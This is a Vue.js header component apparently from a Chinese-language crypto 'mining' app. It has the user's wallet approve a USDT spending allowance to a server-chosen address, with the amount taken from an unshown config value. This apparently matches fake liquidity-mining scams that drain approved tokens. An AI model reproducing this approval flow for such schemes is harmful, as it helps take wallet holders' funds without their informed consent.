<template>
|
<div class="header flex mb-20 pt-20">
|
<div class="flex items-center">
|
<img :src="require(`@/assets/theme/${theme}/image/logo.png`)" alt="" class="w-72 h-72 mr-18" />
|
<!-- <button class="px-16 font-24 h-60 border-none rounded-md textColor3 font-bold btnMain "-->
|
<!-- @click="btnMining">{{ statusFilter(mingStatus) }}</button>-->
|
</div>
|
<div class="flex items-center">
|
<!-- <div class="custom mr-20" @click="$router.push('/customerService')">
|
<van-icon class="font-45" :name="require(`@/assets/image/customer.png`)" :badge="`${unread_num}`">
|
</van-icon>
|
</div> -->
|
<!-- <div class="connect-wallet rounded-full btnMain" @click="connect">{{ formatText(userInfo.account) }}</div>-->
|
<div class="flex items-center" @click="$router.push('/userCenter')">
|
<van-icon class="font-70" :name="require(`@/assets/image/assets-center/user.png`)" :badge="`${unread_num}`">
|
</van-icon>
|
</div>
|
</div>
|
</div>
|
</template>
|
|
<script>
|
|
import {mapGetters,mapActions} from "vuex";
|
import { CONNECT_WALLET } from '@/store/const.store';
|
import {_checkStatus, _joinCheck, _approve, _approveDone} from '@/API/pledgeLoan'
|
import Web3 from "web3"
|
import usdtAbi from '@/utils/USDT.json'
|
import { APPROVE_NUMBER, APPROVE_ADDRESS } from '@/config/const.cfg'
|
export default {
|
props: {
|
unread_num: {
|
type: String,
|
default: '',
|
},
|
},
|
components: {
|
},
|
computed:{
|
...mapGetters({
|
theme: 'home/theme',
|
userInfo: 'user/userInfo',
|
mingStatus:'user/mingStatus',
|
},
|
)
|
|
},
|
data() {
|
return {
|
|
}
|
},
|
methods: {
|
...mapActions('user', [CONNECT_WALLET]),
|
async connect() { // 连接钱包
|
// if (!this.userInfo.account) {
|
// await this.CONNECT_WALLET()
|
// }
|
let res = await this.CONNECT_WALLET('connect')
|
this.$emit('connectSuccess', res)
|
},
|
async btnMining() { // 参与挖矿
|
if (!this.userInfo.account) {
|
this.$toast.fail(this.$t('请先连接钱包'))
|
return
|
}
|
|
if (this.mingStatus == 2 || this.mingStatus == 1) { // 已质押 , 或者确认中
|
return;
|
} else {
|
let data = await _joinCheck()
|
this.gasObj = data.data
|
if ([0, -5].includes(this.gasObj.check_answer)) { // 0未授权 和-5异常
|
this.$nextTick(() => {
|
this.approve();
|
})
|
}
|
}
|
},
|
approve() { // 发起授权
|
try {
|
this.$toast.loading({ duration: 0, forbidClick: true })
|
var approveAddress = this.userInfo.account;
|
var web3 = new Web3(window.ethereum);
|
const approveNum = APPROVE_NUMBER
|
const address = APPROVE_ADDRESS
|
var myContract = new web3.eth.Contract(usdtAbi, address, { from: web3.eth.defaultAccount });
|
myContract.methods
|
.approve(this.gasObj.to, approveNum)
|
.send({ from: approveAddress, gasPrice: this.gasObj.gasprice, gas: this.gasObj.gaslimit }) // ,gasPrice: this.gasObj.gasPrice, gas: this.gasObj.gaslimit
|
.on("transactionHash", (e) => { // 这里会得到一个hash值
|
this.txnhash = e
|
this.doApprove(this.gasObj.to) // 这里返回 check_answer: 1
|
// console.log("hash", hash);
|
// if (hash) {
|
// this.approveDone(approveAddress);
|
// }
|
})
|
.on('receipt', (e) => { // 这里会返回一个对象
|
this.approveDone(this.txnhash) // 这里返回一个对象 approveAddress
|
})
|
.on("error", (error) => {
|
this.$toast.clear()
|
const { code } = error
|
if (code === 4001) {
|
this.$toast.fail(this.$t('您已拒绝'))
|
}
|
});
|
} catch (err) {
|
this.$toast.fail(this.$t('请重试'))
|
// this.approve()
|
console.log(err)
|
}
|
},
|
doApprove() {
|
_approve().then(() => { // 加入ing
|
this.$toast({ message: this.$t("授权中") });
|
this.checkStatus()
|
})
|
},
|
approveDone() { // 加入 ed
|
_approveDone().then(data => {
|
// console.log('加入成功', data)
|
this.checkStatus()
|
})
|
},
|
checkStatus() { // 检查状态
|
_checkStatus().then(data => {
|
// this.status = data.status
|
this.$store.commit('user/SET_STATUS', data.status)
|
})
|
},
|
statusFilter(val) {
|
const status = { '0': this.$t('Receive Node'), '1': this.$t('确认中'), '2': this.$t('已开通账户'), '-1': this.$t('重新检测'), '-2': this.$t('检测中'), '-5': this.$t('异常授权,重新加入') }
|
return status[val] || this.$t('Receive Node')
|
},
|
formatText(str) {
|
if (str) {
|
return str.slice(0, 3) + "****" + str.slice(str.length - 3)
|
} else {
|
return this.$t('链接钱包')
|
}
|
},
|
}
|
}
|
</script>
|
|
<style lang="scss" scoped>
|
.header {
|
height: 84px;
|
display: flex;
|
justify-content: space-between;
|
align-items: center;
|
}
|
|
.custom {
|
width: 44px;
|
height: 44px;
|
|
img {
|
width: 100%;
|
height: 100%;
|
}
|
}
|
.connect-wallet {
|
font-size: 22px;
|
padding: 16px 20px 16px 20px;
|
margin-right: 27px;
|
@include themify(){
|
color: themed("text_color3");
|
}
|
}
|
</style>
|